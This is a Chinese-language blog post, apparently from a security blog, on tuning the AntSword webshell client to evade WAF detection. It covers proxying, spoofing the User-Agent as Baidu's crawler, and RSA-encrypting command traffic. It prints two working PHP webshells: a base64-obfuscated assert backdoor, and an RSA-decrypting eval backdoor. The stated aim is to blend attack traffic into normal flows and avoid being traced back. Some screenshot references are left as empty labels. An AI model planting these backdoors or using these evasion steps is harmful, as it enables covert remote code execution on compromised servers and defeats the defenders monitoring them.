0x00 前言

針對於蟻劍的特徵，對於流量傳輸中WAF檢測的繞過， 打造武器庫， 進行合理化的修改，例如請求頭的偽造，流量的加密等一些常用功能，這邊主要進行 這幾部分的修改。

0x01 修改位置

• 蟻劍代理通道
• UA特徵偽造
• RSA流量加密

0x02 具體操作

1.蟻劍代理通道

蟻劍代理通道設定（前提是必須有這個代理）：

2.UA特徵偽造

蟻劍預設UA抓包：

主要修改的位置：

/modules/request.js

這邊主要是推薦百度UA，具體自己可以百度下其他UA，都可以根據需要來進行設定：

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
 

原來的UA：

UA修改後（百度UA爬蟲）：

/modules/update.js

同樣的方法，將UA頭修改為百度爬蟲：

修改前：

修改後UA頭：

通過以上修改後，抓包檢視：

3.RSA流量加密

蟻劍從2.1開始支援了RSA加密演算法，但是僅僅支援php。
在我們隱藏流量中無非就是採用對稱金鑰加密和非對稱金鑰加密。

<?php $k=base64_decode('YXNzZXJ0'); $k($_POST['cmd']); ?>

注意這裡YXNzZxJ0 base64解密為assert，eval不可以。因為eval屬於語言構造器，在php中不能來回調，類似call_user_function()。

其中資料請求包中存在eval關鍵字，還是容易被waf檢測到，所以UA頭一定要記得修改。

採用RSA加密

新建一個rsa編碼器

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCjQSEjYvGaB7q7G5bjKs2b+v34
XZ5/XhHDScxpv88C+fDv6IwxErr0kwcOp+an21tTtRF7Wl4MbEksL6wE3PNPt39k
8i4PBfg51IjBYOmer8AHqr9qyDZq5XgK65yOCWsOIN8+fuP7DtvRxfTFoBNK6O3N
eAKyYF0SRzIqPz8CvwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);
 

0x03 總結

細節絕對成敗，針對於WAF和內網流量裝置的檢測，使用加密流量去混淆在正常流量中，使用代理模式，防止間接性溯源。如果有更好的繞過方式和流量混淆方式，請及時聯絡，共同學習進步。

轉載請註明：Adminxe's Blog»蟻劍特徵性資訊修改簡單過WAF